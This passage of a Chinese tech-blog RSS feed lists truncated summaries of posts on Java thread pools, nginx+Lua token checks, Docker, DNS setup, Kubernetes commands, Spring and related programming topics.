      <pubDate>Mon, 18 Jul 2022 12:00:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52cabd88a4c0b0973fbcbf9f4f3bd08c/</guid>
      <description>一、背景 今天在浏览代码发现前辈使用了ThreadPoolTaskExecutor，一时间有点懵，因为并不属于任何一个jdk下的线程池。后面浏览资料发现它属于Spring自带，所以根据网上博客来学习下：&#xA;首先在学习Spring自带的ThreadPoolTaskExecutor之前，我们先来回顾下老朋友：jdk下的ThreadPoolExecutor，很多人容易把这两个搞混。&#xA;二、ThreadPoolExecutor 这个类是JDK中的线程池类，继承自Executor， Executor 顾名思义是专门用来处理多线程相关的一个接口，所有线程相关的类都实现了这个接口，里面有一个execute()方法，用来执行线程，线程池主要提供一个线程队列，队列中保存着所有等待状态的线程。避免了创建与销毁的额外开销，提高了响应的速度。相关的继承实现类图例如ScheduledThreadPoolExecutor。&#xA;2.1、线程池接口 ExecutorService为线程池接口，提供了线程池生命周期方法，继承自Executor接口，ThreadPoolExecutor为线程池实现类，提供了线程池的维护操作等相关方法，继承自AbstractExecutorService，AbstractExecutorService实现了ExecutorService接口。&#xA;2.2、java.util.concurrent.Executor 负责线程的使用和调度的根接口 |--ExecutorService 子接口： 线程池的主要接口 |--ThreadPoolExecutor 线程池的实现类 |--ScheduledExceutorService 子接口： 负责线程的调度 |--ScheduledThreadPoolExecutor : 继承ThreadPoolExecutor，实现了ScheduledExecutorService 2.3、工具类 ： Executors Executors为线程池工具类，相当于一个工厂类，用来创建合适的线程池，返回ExecutorService类型的线程池。有人如下方法。&#xA;ExecutorService newFixedThreadPool() : 创建固定大小的线程池&#xA;ExecutorService newCachedThreadPool() : 缓存线程池，线程池的数量不固定，可以根据需求自动的更改数量。&#xA;ExecutorService newSingleThreadExecutor() : 创建单个线程池。 线程池中只有一个线程&#xA;ScheduledExecutorService newScheduledThreadPool() : 创建固定大小的线程，可以延迟或定时的执行任务&#xA;其中AbstractExecutorService是他的抽象父类，继承自ExecutorService,ExecutorService 接口扩展Executor接口，增加了生命周期方法。&#xA;实际应用中我一般都比较喜欢使用Exectuors工厂类来创建线程池，里面有五个方法，分别创建不同的线程池，如上，创建一个制定大小的线程池，Exectuors工厂实际上就是调用的ExectuorPoolService的构造方法，传入默认参数。&#xA;public class Executors { /** * Creates a thread pool that reuses a fixed number of threads * operating off a shared unbounded queue.</description>
    </item>
    <item>
      <title>nginx&#43;lua实现客户端请求token校验和动态获取转发uri实现rewrite</title>
      <link>https://bchobby.github.io/posts/ce4ca31e1356b1df78a1885445436f6d/</link>
      <pubDate>Mon, 18 Jul 2022 11:56:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce4ca31e1356b1df78a1885445436f6d/</guid>
      <description>需求场景：&#xA;1、客户端请求服务端时通过nginx转发，但是需要完成对请求相关的身份校验，如果客户端携带的token不合法则不允许请求；2、服务是多租户模式的，不同租户的客户端发起请求的uri所携带的标识不一致，且并非服务端接口实际的uri，另外还需要根据客户端发起请求携带的标识将服务请求转发至对应租户的服务端完成请求； nginx的location代码块：&#xA;location ~ /38ad46566ae64a20896bd95769c89199 { set $req_type &#34;https&#34;; #lua脚本完成对客户端token的校验 access_by_lua_file /usr/local/openresty/nginx/conf/lua/token_filter.lua; #lua脚本完成对客户端请求的uri的动态转换 set_by_lua_file $router /usr/local/openresty/nginx/conf/lua/router.lua; rewrite ^(.*) $router break; proxy_pass https://upstream_38ad46566ae64a20896bd95769c89199; proxy_set_header Host $http_host; proxy_set_header X-Forwarded-For $remote_addr; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection $connection_upgrade; } 解决方案：&#xA;根据不同租户发起请求时的标识，将请求转发至对应的服务端 location ~ /38ad46566ae64a20896bd95769c89199 { } 可以看到location的匹配规则是通过通配符来匹配的，只要客户端请求的uri中包含&#xA;/38ad46566ae64a20896bd95769c89199&#xA;uri 作为一个 string，只要 regex 匹配其中的一部分，即可算作匹配成功，就认为请求是需要这个location去转发的，当然这也需要根据客户端实际的请求uri去决定使用哪种location匹配规则，我们服务中的客户端端请求的最后一级是租户的标识，所以使用regex 匹配是最合适的。&#xA;解决nginx转发的同时校验token方案&#xA;首选需要将nginx和lua配合使用，在nginx转发的同时，调用lua脚本完成对客户端请求时所携带token的校验工作，可以看到location代码块中增加了一行代码，引用了一个lua脚本， #lua脚本完成对客户端token的校验 access_by_lua_file /usr/local/openresty/nginx/conf/lua/token_filter.lua; 这个lua脚本就是用来完成对客户端请求token的校验功能，下面一起来看token_filter.lua脚本的具体实现：&#xA;function getHost() return ngx.var.host end function getUri() return ngx.var.uri end function getToken() --获取客户端请求的token，客户端的toekn存放在请求header的token属性 local reqHeaders = ngx.</description>
    </item>
    <item>
      <title>使用OfficeDeploymentTool工具离线下载安装Office</title>
      <link>https://bchobby.github.io/posts/5a2a5e3dfeef2de21a42977f53a60d52/</link>
      <pubDate>Mon, 18 Jul 2022 10:11:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a2a5e3dfeef2de21a42977f53a60d52/</guid>
      <description>文章目录 配置下载安装 OfficeDeploymentTool（ODT）是一款命令行工具，可以使用它下载并将 Microsoft 365 应用版部署到客户端计算机。ODT可以更好地控制Office 安装：可以定义要安装哪些产品和语言、应该如何更新这些产品以及是否向用户显示安装体验。&#xA;从 Microsoft 下载中心下载Office部署工具。这将得到一个officedeploymenttool_14326-20404.exe文件。这是一个自解压可执行文件。&#xA;双击运行它，在弹出的对话框中指定一个空的文件夹，例如D:\OfficeDeploymentTool。执行完成之后，在这个文件夹中将出现1个setup.exe文件和4个*.xml文件。&#xA;setup.exe是Office部署工具可执行文件，*.xml文件是示例配置文件。其中，&#xA;configuration-Office365-x64.xml文件用于安装Microsoft 365 Apps for enterprise版本configuration-Office2021Enterprise.xml文件用于安装Microsoft 365 Apps for business版本 配置 对于个人用户，推荐安装Microsoft 365 Apps for enterprise。&#xA;用记事本打开configuration-Office365-x64.xml文件。将&amp;lt;Language&amp;gt;标签的ID属性修改成zh-cn。 如下所示：&#xA;&amp;lt;!-- Office 365 client configuration file sample. To be used for Office 365 ProPlus apps, Office 365 Business apps, Project Pro for Office 365 and Visio Pro for Office 365. For detailed information regarding configuration options visit: http://aka.ms/ODT. To use the configuration file be sure to remove the comments The following sample allows you to download and install the 64 bit version of the Office 365 ProPlus apps and Visio Pro for Office 365 directly from the Office CDN using the Current Channel settings --&amp;gt; &amp;lt;Configuration&amp;gt; &amp;lt;Add OfficeClientEdition=&#34;</description>
    </item>
    <item>
      <title>金蝶天燕Apusic AAS V10.0 5.1 8.0 9.0 9.1 信创国产化中间件 EAS Apusic V5.1 V9.0 永久</title>
      <link>https://bchobby.github.io/posts/e964e2dc6e89959dc1298d83a30ebfc4/</link>
      <pubDate>Mon, 18 Jul 2022 09:40:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e964e2dc6e89959dc1298d83a30ebfc4/</guid>
      <description>apusic V5.0-5.1 ：&#xA;apusic V6.0-8.0：&#xA;apusic AAS V9.0：&#xA;apusic AAS V10.0：&#xA;EAS apusic V5.1-9.0：&#xA;一年：&#xA;一个月测试：&#xA;金蝶天燕Apusic AAS V10.0 5.1 8.0 9.0 9.1 信创国产化中间件 EAS Apusic V5.1 V9.0</description>
    </item>
    <item>
      <title>Docker 学习笔记（八）-- Dockerfile 构建CentOS 实战测试</title>
      <link>https://bchobby.github.io/posts/72ea9dbfd4806394d6eb37ad0d31c118/</link>
      <pubDate>Mon, 18 Jul 2022 00:25:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72ea9dbfd4806394d6eb37ad0d31c118/</guid>
      <description>Docker Hub 中99%的镜像都是从这个基础镜像（Scratch）中安装和配置需要的软件和配置构建出来的！&#xA;创建一个自己的 CentOS&#xA;1、查看官方镜像 2、编写自己的 DockerFile 初始化：&#xA;cd /home mkdir dockerfile vim dockerfile-centos 编写 dockerfile-centos：&#xA;FROM centos MAINTAINER mianbao&amp;lt;843818747@qq.com&amp;gt; ENV MYPATH /usr/local WORKDIR $MYPATH RUN yum -y install vim \ &amp;amp;&amp;amp; yum -y install net-tools EXPOSE 80 CMD echo $MYPATH CMD echo &#34;----end----&#34; CMD [&#34;/bin/bash&#34;] 3、通过这个文件构建镜像&#xA;# docker build -f dockerfile文件路径 -t 镜像名:[tag] 其中t表示target # . 表示当前目录（输出路径） [root@localhost dockerfile]$ docker build -f dockerfile-centos -t mycentos:1.0 . 3、报错和解决 3.</description>
    </item>
    <item>
      <title>R语言手写数字识别</title>
      <link>https://bchobby.github.io/posts/73ce67437b73ff81e30f91b33e9f25d9/</link>
      <pubDate>Sun, 17 Jul 2022 22:30:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73ce67437b73ff81e30f91b33e9f25d9/</guid>
      <description>目录&#xA;1.训练集数据的选择&#xA;2.模型的构建&#xA;3.模型训练&#xA;4.结果&#xA;噪声方差0.1：测试集上的准确率82.41%&#xA;噪声方差0.25：测试集上的准确率75.91%。&#xA;噪声方差0.5：测试集上的准确率67.37%。&#xA;5.代码 6.数据来源&#xA;1.训练集数据的选择 原数据文件中有60000个个体，要求选择1000个个体进行模型的训练（为了提高训练难度），其余的个体丢弃。有0~9共10种标签，为保证标签的平衡，防止某一种标签的训练集过少而造成训练结果较差，对10种标签进行相同数量的选择，即每种标签选择100个个体作为训练集。具体操作是按照标签将个体分成10类，每一类随机选择100个个体，将选择结果进行合并组成训练集。&#xA;若要求使用全部的训练集，则忽略此步。&#xA;2.模型的构建 利用keras的模型，是一个多个网络层的线性堆迭，通过向Sequential模型传递一个layer的列表构造。模型有一个784节点的输入层，一个784节点的全连接层，10个节点的输出层。激活函数选择为relu与exponential，损失函数选择为categorical_crossentropy，优化器选择为Nadam。评估标准选择为accuracy。&#xA;3.模型训练 每次神经网络的升级是使用了100个样本，这100个样本来自于对1000个样本的抽样。每个epoch包含了10次iteration，一共100个epoch。&#xA;4.结果 模型训练结果：&#xA;没有噪声：测试集上的准确率91.57%。 噪声方差0.1：测试集上的准确率82.41% 噪声方差0.25：测试集上的准确率75.91%。 噪声方差0.5：测试集上的准确率67.37%。 5.代码 rm(list=ls()) ##读取图片数据的函数，返回一个数据列表 read_image&amp;lt;-function(filename){ read.filename &amp;lt;- file(filename, &#34;rb&#34;) test&amp;lt;-list() length(test)&amp;lt;-7 names(test)&amp;lt;-c(&#34;magic_number1&#34;,&#34;magic_number2&#34;,&#34;number_of_images&#34;, &#34;number_of_rows&#34;,&#34;number_of_columns&#34;,&#34;data&#34;,&#34;label&#34;) test$magic_number1&amp;lt;-readBin(read.filename,integer(),size=4,n=1,endian=&#34;big&#34;) test$number_of_images&amp;lt;-readBin(read.filename,integer(),size=4,n=1,endian=&#34;big&#34;) test$number_of_rows&amp;lt;-readBin(read.filename,integer(),size=4,n=1,endian=&#34;big&#34;) test$number_of_columns&amp;lt;-readBin(read.filename,integer(),size=4,n=1,endian=&#34;big&#34;) data&amp;lt;-readBin(read.filename,integer(),size=1,n=test$number_of_images*test$number_of_rows*test$number_of_columns,signed=F,endian=&#34;big&#34;) data&amp;lt;-data/255 data&amp;lt;-matrix(data,byrow=T,test$number_of_images,test$number_of_rows*test$number_of_columns) data&amp;lt;-as.data.frame(data) test$data&amp;lt;-data close(read.filename) return (test) } ##读取图片标签的函数，返回数据列表 read_label&amp;lt;-function(filename,test){ read.filename &amp;lt;- file(filename, &#34;rb&#34;) test$magic_number2&amp;lt;-readBin(read.filename,integer(),size=4,n=1,endian=&#34;big&#34;) readBin(read.filename,integer(),size=4,n=1,endian=&#34;big&#34;) data&amp;lt;-readBin(read.filename,integer(),size=1,n=test$number_of_images,signed=F,endian=&#34;big&#34;) test$label&amp;lt;- as.factor(data) close(read.filename) return (test) } ##选取训练数据集函数 Randomlychoose&amp;lt;-function(test,r){ d0&amp;lt;-test$data[which(test$label==&#34;0&#34;),] d1&amp;lt;-test$data[which(test$label==&#34;1&#34;),] d2&amp;lt;-test$data[which(test$label==&#34;2&#34;),] d3&amp;lt;-test$data[which(test$label==&#34;3&#34;),] d4&amp;lt;-test$data[which(test$label==&#34;</description>
    </item>
    <item>
      <title>本地DNS服务器的配置</title>
      <link>https://bchobby.github.io/posts/97206c39ad36bfa79527f1b46cd15e8f/</link>
      <pubDate>Sun, 17 Jul 2022 20:07:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97206c39ad36bfa79527f1b46cd15e8f/</guid>
      <description>DNS服务器基本搭建&#xA;linux/server DNS功能以及过程：&#xA;用户在访问某一个域名的时候实际不是直接访问到这个承载业务的这个服务器而是先解析获取到这个域名对应的公网IP地址再请这个IP发送访问requst请求，这个解析会先在电脑本地缓存查询在没有的场景下会到上级的dns服务器来请求，如下图所示的就是一次DNS请求。&#xA;在一些特殊场景中通常机器不能使用使用dns解析的场景下，或者有内网访问业务非公网域名的情况下我们就可以通过配置属于我们私域的DNS服务器也叫本地域名服务器，来实现本地域名的解析以及公网域名的解析&#xA;以下的配置步骤：以centos/redhat系列系统为列其他版本操作方法类似只是配置文件不同罢了&#xA;一、配置DNS服务器网络 注意：DNS服务器要有必须要有一个静态的ip地址，如果使用DHCP获取的地址到期那可能会有一种情况就是DNS服务器的地址发生的变化，但此时用户的DNS配置不是实时更新的，在没有备用dns的场景下就会无法解析&#xA;（1）编写网卡主配置文件 vim /etc/sysconfig/network-scripts/ifcfg-ens33 内容： TYPE=Ethernet BOOTPROTO=static DEFROUTE=yes IPV4_FAILURE_FATAL=no NAME=ens33 UUID=7fac3a10-de6b-42c6-9175-cef32343c69b DEVICE=ens33 ONBOOT=yes //这个是网卡的开机自启选项，建议配置为yes IPADDR=192.168.35.1 //这个是机器的ipv4地址 NETMASK=255.255.255.0 //子网掩码 DNS1=192.168.35.1&#x9;//为DNS指定DNS服务器地址，如果没有访问外网的需求指定自己就好了，这样就实现了一个需求就是纯内网解析 （2）重启网络服务&#x9;systemctl restart network //重启网络服务 （3）查看网卡配置文件是否生效 ifconfig //查看网络配置 二、配置yum仓库（二选一） 方法1：机器不能联网的情况下使用，以挂载媒介做的本地的yum仓库，iso镜像里有集成一些软件包&#xA;（1）挂载光盘 vim /etc/fstab 内容： 添加一行： /dev/sr0&#x9;/mnt/cdrom&#x9;iso9660&#x9;defaults&#x9;0 0 （2）创建挂载点 mkdir /mnt/cdrom （3）刷新挂载表 mount -a （4）查看 lsblk （5）编辑仓库文件 vim /etc/yum.repo.d/a.repo 内容： [a] name=a gpgcheck=0 enabled=1 baseurl=file:///mnt/cdrom （6）查看仓库资源 yum repolist 方法2：</description>
    </item>
    <item>
      <title>JavaWeb在线商城系统(java&#43;jsp&#43;servlet&#43;MySQL&#43;jdbc&#43;css&#43;js&#43;jQuery)</title>
      <link>https://bchobby.github.io/posts/88ecc306c974e860f7a8494665e4cd27/</link>
      <pubDate>Sun, 17 Jul 2022 18:13:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88ecc306c974e860f7a8494665e4cd27/</guid>
      <description>JavaWeb在线商城系统 JavaWeb在线商城开发知识总结(java+jsp+servlet+MySQL+jdbc+css+js+jQuery)获取项目数据和数据库：期末实训项目-JavaWeb在线商城系统项目代码及数据库下载链接 数据库设计前端界面设计商城首页登录注册页面购物车页面 编写代码实现功能连接数据库实现登录注册功能购物车连接数据库，将商品加入购物车后，能够查看商品详细信息通过点击首页的商品图片，查看商品的详细信息资源包 JavaWeb在线商城开发知识总结(java+jsp+servlet+MySQL+jdbc+css+js+jQuery) 这个基于JavaWeb的在线商城项目是我们专业这学期期末实训的项目&#xA;项目视频演示&#xA;期末实训项目-JavaWeb在线商城系统(java+jsp+servlet+MySQL+jdbc+css+js+jQuery)&#xA;获取项目数据和数据库： 期末实训项目-JavaWeb在线商城系统 项目代码及数据库下载链接 gitee链接：&#xA;https://gitee.com/yuhaowen/ShoppingMall.git&#xA;GitHub：&#xA;https://github.com/yuhaowen0917/JavaWeb-ShoppingMall.git&#xA;项目资源和数据库&#xA;https://download.csdn.net/download/yuyunbai0917/85839278&#xA;项目结构图&#xA;数据库设计 前端界面设计 商城首页 商城首页.html&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34; /&amp;gt; &amp;lt;title&amp;gt;实训在线商城&amp;lt;/title&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; type=&#34;text/css&#34; href=&#34;css/public.css&#34;/&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; type=&#34;text/css&#34; href=&#34;css/shouye.css&#34;/&amp;gt; &amp;lt;script src=&#34;js/jquery-3.6.0.js&#34; type=&#34;text/javascript&#34; charset=&#34;utf-8&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;js/front_page.js&#34; type=&#34;text/javascript&#34; charset=&#34;utf-8&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div class=&#34;head&#34;&amp;gt; &amp;lt;div class=&#34;head_zi&#34;&amp;gt; &amp;lt;div class=&#34;huan&#34;&amp;gt; ,欢迎您 &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;car&#34;&amp;gt; &amp;lt;a href=&#34;购物车界面.html&#34;&amp;gt;&amp;lt;img src=&#34;images/购物车.png&#34; height=&#34;28px&#34;&amp;gt; &amp;lt;span&amp;gt;购物车&amp;lt;/span&amp;gt; &amp;lt;/a&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;login&#34;&amp;gt; &amp;lt;div&amp;gt;&amp;lt;a href=&#34;注册.html&#34;&amp;gt;登录&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div&amp;gt;&amp;lt;a href=&#34;</description>
    </item>
    <item>
      <title>关于C&#43;&#43;&amp;Python混编实现算法检测的两种方法</title>
      <link>https://bchobby.github.io/posts/4f76b54a754581dc4d67db255cf4ac9f/</link>
      <pubDate>Sun, 17 Jul 2022 11:53:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f76b54a754581dc4d67db255cf4ac9f/</guid>
      <description>前言 ​ 本文提供了将Python算法嵌入C++或C语言的两种实现思路。算法大多是由Python语言编写，而我们开发软件大多使用的还是C++，比如常见的QT、C#等，两种不同的语言之间如何实现通信呢？有的将算法打包为.exe文件，通过软件去启动这个.exe，这种方法并不优雅。我们知道Python的底层是C语言编写，叫CPython，本文方法便是通过CPython调用Python脚本，实现数据交互。&#xA;​ 假设我们现在使用QT开发软件界面，通过摄像头去识别物体，所用算法为YoloV5，将带有检测结果的视频显示在QT界面上。&#xA;方法一 ​ QT开启一个视频接收的线程，通过opencv接收，将每一帧图像存放在消息队列中，假设消息队列叫srcMatQueue；再开启一个图像检测线程，将图像从srcMatQueue中取出，将图像传递给Python算法，获取返回之后的图像，并存入消息队列detectMatQueue中；再主线程(GUI)中，取出detectMatQueue中的图像，转为QImage格式，然后显示即可。&#xA;​ 这里重点介绍第二个图像检测线程。首先，要调用CPython，我们需要包含其头文件Python.h，如下&#xA;#include &amp;lt;python/Python.h&amp;gt; #include &amp;lt;numpy/ndarrayobject.h&amp;gt; #include &amp;lt;opencv2/imgproc/imgproc.hpp&amp;gt; #include &amp;lt;opencv2/core.hpp&amp;gt; #include &amp;lt;opencv2/videoio.hpp&amp;gt; #include &amp;lt;opencv2/highgui.hpp&amp;gt; 调用Python算法可分为一下几步：&#xA;初始化Python环境加载Python模块获取模块中的函数名、类名等获取类名实例化类调用类中的方法 显然，我们需要将Python算法封装为一个类然后调用，（不封装也可以，只是封装为类后，我们可以在初始化时先加载模型，这样可以节省检测时多次加载模型），以YoloV5为例，我们只要将detect.py文件重新封装一下即可。我们封装的函数主要有三个，分别是__init__、loadModel、detect，__init__是实例化这个类时执行的函数，主要对一些变量进行初始化；loadModel函数是单独加载模型文件的函数，一般来说，加载模型比较耗时，你也可以直接将其写在初始化函数里；detect函数是对QT传给它的图像进行处理的函数，所以需要有一个入口参数frame，算法对frame进行处理后将结果return即可，需要注意的是返回的类型，QT端对返回值进行解析，得到处理后的图片和检测结果。&#xA;​ 以下是YoloV5中detect.py封装示例。&#xA;# This Python file uses the following encoding: utf-8 import os import sys from pathlib import Path import cv2 import torch # import torch.backends.cudnn as cudnn import numpy as np FILE = Path(__file__).resolve() ROOT = FILE.parents[0] # YOLOv5 root directory if str(ROOT) not in sys.</description>
    </item>
    <item>
      <title>Dao层、Service层和Controller层之间的关系</title>
      <link>https://bchobby.github.io/posts/31eef72050bc0297ac417c44be0e546c/</link>
      <pubDate>Sun, 17 Jul 2022 11:52:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31eef72050bc0297ac417c44be0e546c/</guid>
      <description>主要思想是面向接口编程。表示层调用控制层，控制层调用业务层，业务层调用数据访问层。是为了解耦和、提高代码复用。&#xA;Dao层&#xA;Dao层主要做数据持久层的工作，&#xA;负责与数据库进行联络的一些任务都封装在此&#xA;Dao层的设计&#xA;设计Dao层的接口 在Spring的配置文件中定义此接口的实现类 在模块中调用此接口来进行数据业务的处理，而不用关心此接口的具体实现类是哪个类 显得结构非常清晰，Dao层的数据源配置，以及有关数据库连接参数都在Spring配置文件中进行配置。&#xA;Dao接口中的方法都大同小异，因为对数据库的基本操作类似：insert、delete、update，select,也就是增删改查。 在Dao层定义的一些方法，在Service层并没有被使用的情况：Dao层的操作经过抽象后基本都是通用的，在Dao层完成相关方法的定义，有利于支持后期Service层的扩展。Dao会根据业务需求，构造SQL语句，构造参数，调用帮助类，获取结果&#xA;Service层&#xA;Service层主要负责业务模块的应用逻辑应用设计。将表示层与Dao数据访问层之间联系起来。所要负责的，就是处理涉及业务逻辑相关的问题，比如在调用访问数据库之前，先处理数据、判断数据。&#xA;设计接口 设计其实现类 在Spring的配置文件中配置其实现的关联。 这样就可以在应用中调用Service接口来进行业务处理。Service层的业务层具体要调用已经定义的Dao层接口，封装service层业务逻辑有利于通用的业务逻辑的独立性和重复利用性.&#xA;Controller层&#xA;Controller层负责具体的业务模块流程的控制。在此层要调用service层的接口来控制业务流程。负责url映射（action）。控制的配置也同样是在Spring的配置文件里进行，针对具体的业务流程，会有不同的控制器。我们具体的设计过程可以将流程进行抽象归纳，设计出可以重复利用的子单元流程模块。这样不仅使程序结构变得清晰，也大大减少了代码量。&#xA;关系：&#xA;Service层是建立在DAO层之上的，建立了DAO层后才可以建立Service层，而Service层又是Controller层之下的，因而 Service层应该既调用DAO层的接口，又要提供接口给Controller层的类来进行调用，它刚好处于一个中间层的位置。&#xA;每个模型都有一个Service接口，每个接口分别封装各自的业务处理方法。&#xA;参考链接：https://blog.csdn.net/qq_44645822/article/details/112061942&#xA;参考链接：https://blog.csdn.net/huangxiaozuo/article/details/71178445&#xA;参考链接：https://blog.csdn.net/weixin_42153410/article/details/90753696</description>
    </item>
    <item>
      <title>HCIP干货笔记总结（5）</title>
      <link>https://bchobby.github.io/posts/506c1ba601adad23b928e181e3837634/</link>
      <pubDate>Sun, 17 Jul 2022 00:46:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/506c1ba601adad23b928e181e3837634/</guid>
      <description>所有携带路由信息的 LSA 都需要通过 1 类和 2 类 LSA 进行验算 。----所谓验 算就是指传递路由信息的通告者的位置信息需要通过1类，2类LSA信息计 算出来。 Type-5 LSA Metric（ cost ）---5类LSA携带的通过重发布导入进来的域外的路由信息，因为不同网络对度量值的评判标准不同，所以，当域外路由导入到本网络当中，我们将放弃其原先的开销值，而赋予他一个定义值---seed-metric ----种子度量值。OSPF网络中默认的种子度量值为1。 [r4-ospf-1]import-route rip 1 cost 10---在重发布时修改种子度量值 E Type---一个标记位，当标记位置0时，则代表使用类型1；当标记位置1时，则代表使用类型2 ----指的是开销值的类型---OSPF协议默认使用类型2。 类型1 ：如果开销值类型为类型 1 ，则域内所有设备到达域外目标 网段的开销值等于本地到达通告者的开销值加种子度量值。 [r4-ospf-1]import-route rip 1 type 1---重发布时修改开销值类型 类型2 ：如果开销值类型为类型 2，则所有域内设备到达域外目标网段的开销值都等同于种子度量值。 Forwarding Address---转发地址---一个重定向地址，类似于RIPV2中的下一跳字段，当出现选路不佳的情况，则将会把最佳选路信息携带在这个字段上，则将按照转发地址寻找下一跳，而不再按照算法寻找通告者。5类LSA中，在不存在选路不佳的情况下，将使用0.0.0.0 来进行填充 Tag---路由标记---可以给5类LSA打标记，方便后面通过标记来抓取流量。 [r4-ospf-1]import-route rip 1 tag ? INTEGER&amp;lt;0-4294967295&amp;gt; Tag value Type -4 LSA ---辅助5类LSA完成验算过程，找到ASBR的位置。里面只 携带一个开销值，指的是通告者到达ASBR的开销。 V --- 置 1 ，则代表该路由器是 VLINK 的一个端点 E --- 置 1 ，则代表该路由器是 ASBR 设备 B --- 置 1 ，则代表该路由器是区域边界设备 ABR 。 。</description>
    </item>
    <item>
      <title>springboot 注入方式</title>
      <link>https://bchobby.github.io/posts/7158605a8344f96558f848f56f4b5b52/</link>
      <pubDate>Sat, 16 Jul 2022 23:21:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7158605a8344f96558f848f56f4b5b52/</guid>
      <description>1、Field 注入 field 注入方式是使用最多的，原因是这种方式使用起来非常简单，代码更加简洁。&#xA;@Controller public class HelloController { @Autowired private AlphaService alphaService; @Autowired private BetaService betaService; } 2、Setter 方法注入 该注入写起来不太方便，看起来也不整洁，个人不建议使用&#xA;@Controller public class HelloController { private AlphaService alphaService; private BetaService betaService; @Autowired public void setAlphaService(AlphaService alphaService) { this.alphaService = alphaService; } @Autowired public void setBetaService(BetaService betaService) { this.betaService = betaService; } } 3、Constructor 注入（构造器注入） 有利于强制依赖。通过在构造函数中提供依赖，您可以确保依赖对象在被构造时已准备好被使用。在构造函数中赋值的字段也可以是final的，这使得对象是完全不可变的，或者至少可以保护其必需的字段。&#xA;构造器注入还可以避免 Field 注入的循环依赖问题，比如 在 Alpha 中注入 Beta，又在 Beta 中注入 Alpha。如果使用构造器注入，在 Spring 启动的时候就会抛出 BeanCurrentlyInCreationException 提醒循环依赖。</description>
    </item>
    <item>
      <title>linux软硬连接</title>
      <link>https://bchobby.github.io/posts/e5de506e04bd3c72df00846334729b56/</link>
      <pubDate>Sat, 16 Jul 2022 22:29:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5de506e04bd3c72df00846334729b56/</guid>
      <description> 软连接（快捷方式） 硬链接 文件数据存储在硬盘上，最小的存储单元是扇区，sector磁盘扇区大小，512bytes，也就是0.5kb（现在文件动辄几GB）操作系统在磁盘上读取扇区数据，以多个连续的扇区进行读取，这个连续的扇区，被称之为block（块）因此操作系统进行文件读写最小单位是块，8个扇区大小，也就是4kb。 inode 操作系统中专门用于管理和存储文件的信息软件被称为文件系统文件是以文件数据+文件元信息组成的，文件的inode号+文件数据内容代表一个单个文件文件系统又将文件元信息（元信息：存储文件大小，修改信息等，可用stat命令查看）存储在了一个称之为inode的地方，中文叫索引节点查看文件的inode号,ls -li filename.txt通过ls -l 查看到的数据，唯独文件名不属于inode存储的元信息 inode信息 文件大小属主信息属组信息文件权限数字文件修改时间文件的实体指针，指向block位置 访问文件原理 cat文件名找到inode编号根据inode号码找到文件在磁盘上的位置，也就是block的位置&#xA;磁盘在格式化的时候，系统自动的分为了2部分，一部分是元数据区域，存放文件的inode信息，一个是文件数据内容区域。每个inode的大小，都是在格式化分区的时候决定好了，默认是128或者256字节。 区别 软连接的inode号码是不一样的，代表软连接文件是单个的个体，硬链接的inode号是一样的。目录文件夹不支持硬链接。软连接可以针对文件夹操作。硬链接数据量的增加，会增加inode号码的计数（增加计数，不是增加inode号码）。创建硬链接：ln /opt/happy.txt /opt/happy1。 综合对比 删除软连接对源文件和硬链接无影响删除硬链接对软连接，源文件也是无影响的删除源文件对硬链接无影响，但是影响软连接删除源文件和所有硬链接，文件的链接数为0，此时文件数据丢失源文件和硬链接具有相同的inode号码，相当于超时的不同门 </description>
    </item>
    <item>
      <title>K8S管理命令(一)</title>
      <link>https://bchobby.github.io/posts/20e9db3ad5cd78d9348de3697a857ee5/</link>
      <pubDate>Sat, 16 Jul 2022 18:00:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20e9db3ad5cd78d9348de3697a857ee5/</guid>
      <description>配置kubectl自动补全&#xA;source &amp;lt;（kubectl completion bash）&#xA;node节点查看日志&#xA;journalctl -u kubelet -f&#xA;kubectl get pods --show tables&#xA;标签的格式（键值对的格式）&#xA;查看master节点的状态&#xA;kubectl get cs&#xA;kubectl api-resources | grep namespace&#xA;default #系统的默认命名空间&#xA;查看default命名空间下的所有资源&#xA;创建命名空间&#xA;kubectl create ns ky18（删除用delete）&#xA;区别&#xA;kubectl run：用于创建一个自主式的/静态Pod&#xA;kubectl delete pod&#xA;增kubectl create deployment ：用于创建deployment控制器管理的Pod&#xA;删kubectl delete deployment&#xA;改kubectl scale --replicas=&#xA;查kubectl get pod&#xA;若pod无法删除，总是处于terminate状态，则要强行删除pod&#xA;kubectl delete pod &amp;lt;pod-name&amp;gt; -n &amp;lt;namespace&amp;gt; --force --grace-period=0&#xA;service的四种类型&#xA;nodeport只支持四层转发，并且端口是有限的 如何查看一个service绑定了几个节点&#xA;删除标签后会自动生成一个从而达到期望值&#xA;将删除的标签添加回来 K8S中的四种端口号： containerPort：容器内部进程使用的端口&#xA;Port：为service在clusterIP上暴露的端口</description>
    </item>
    <item>
      <title>MySQL常见的几种数据类型盘点</title>
      <link>https://bchobby.github.io/posts/6b3d08ba4a0b986e87d8a1a5d45fc928/</link>
      <pubDate>Sat, 16 Jul 2022 17:28:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b3d08ba4a0b986e87d8a1a5d45fc928/</guid>
